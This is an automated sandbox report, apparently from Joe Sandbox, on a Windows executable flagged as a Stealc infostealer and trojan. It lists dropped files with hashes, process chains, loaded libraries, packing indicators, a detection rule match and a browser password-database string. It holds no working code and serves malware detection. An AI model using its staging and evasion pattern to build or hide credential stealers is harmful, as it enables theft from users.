Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Code function: 5_2_00765C83	5_2_00765C83
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Code function: 5_2_0076735A	5_2_0076735A
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Code function: 5_2_007A8860	5_2_007A8860
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Code function: 5_2_00764DE0	5_2_00764DE0
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Code function: 5_2_00764B30	5_2_00764B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00F078BB	6_2_00F078BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00F08860	6_2_00F08860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00F07049	6_2_00F07049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00F031A8	6_2_00F031A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EC4B30	6_2_00EC4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EC4DE0	6_2_00EC4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00F02D10	6_2_00F02D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00F0779B	6_2_00F0779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EF7F36	6_2_00EF7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00F078BB	7_2_00F078BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00F08860	7_2_00F08860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00F07049	7_2_00F07049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00F031A8	7_2_00F031A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00EC4B30	7_2_00EC4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00EC4DE0	7_2_00EC4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00F02D10	7_2_00F02D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00F0779B	7_2_00F0779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00EF7F36	7_2_00EF7F36

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe CE2F452C2D36B986038BA58CF0146BB360F0D87F71F1CE56C4430B47041852C8
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe EF8EBDB12E918ED1196ABACABC5CEDA321D39DDBEC73D3A46835BFB722CF35CA
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe EF8EBDB12E918ED1196ABACABC5CEDA321D39DDBEC73D3A46835BFB722CF35CA

Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Code function: String function: 007780C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00EDDF80 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00ED80C0 appears 260 times

Source: o0cabS0OQn.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack, type: UNPACKEDPE

Matched rule: infostealer_win_stealc_str_oct24 author = Sekoia.io, description = Finds Stealc standalone samples (or dumps) based on the strings, creation_date = 2024-10-20, classification = TLP:CLEAR, version = 1.0, id = 7448fafe-206c-4f9c-b5a3-cbabec12a45b

Source: o0cabS0OQn.exe	Static PE information: Section: ZLIB complexity 0.9996042687908496
Source: o0cabS0OQn.exe	Static PE information: Section: ebdcmeyg ZLIB complexity 0.994704060515573

Source: ECPOM47708SKW2N887NP33WQCGSG.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.5.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@9/4@1/4

Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\QTI3XEYS.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\o0cabS0OQn.exe

File created: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\o0cabS0OQn.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: o0cabS0OQn.exe, 00000000.00000003.1766318934.0000000005625000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: o0cabS0OQn.exe

ReversingLabs: Detection: 55%

Source: E7IQS7PV5U0JQO6HRY65DRS.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\o0cabS0OQn.exe

File read: C:\Users\user\Desktop\o0cabS0OQn.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\o0cabS0OQn.exe "C:\Users\user\Desktop\o0cabS0OQn.exe"
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Process created: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe "C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe"
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Process created: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe "C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Process created: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe "C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe"	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Process created: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe "C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior

Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: o0cabS0OQn.exe

Static file information: File size 1865728 > 1048576

Source: o0cabS0OQn.exe

Static PE information: Raw size of ebdcmeyg is bigger than: 0x100000 < 0x19d600

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	Unpacked PE file: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack :EW;.rsrc:W;.idata :W;jvdduhrr:EW;adcgyevy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;jvdduhrr:EW;adcgyevy:EW;.taggant:EW;
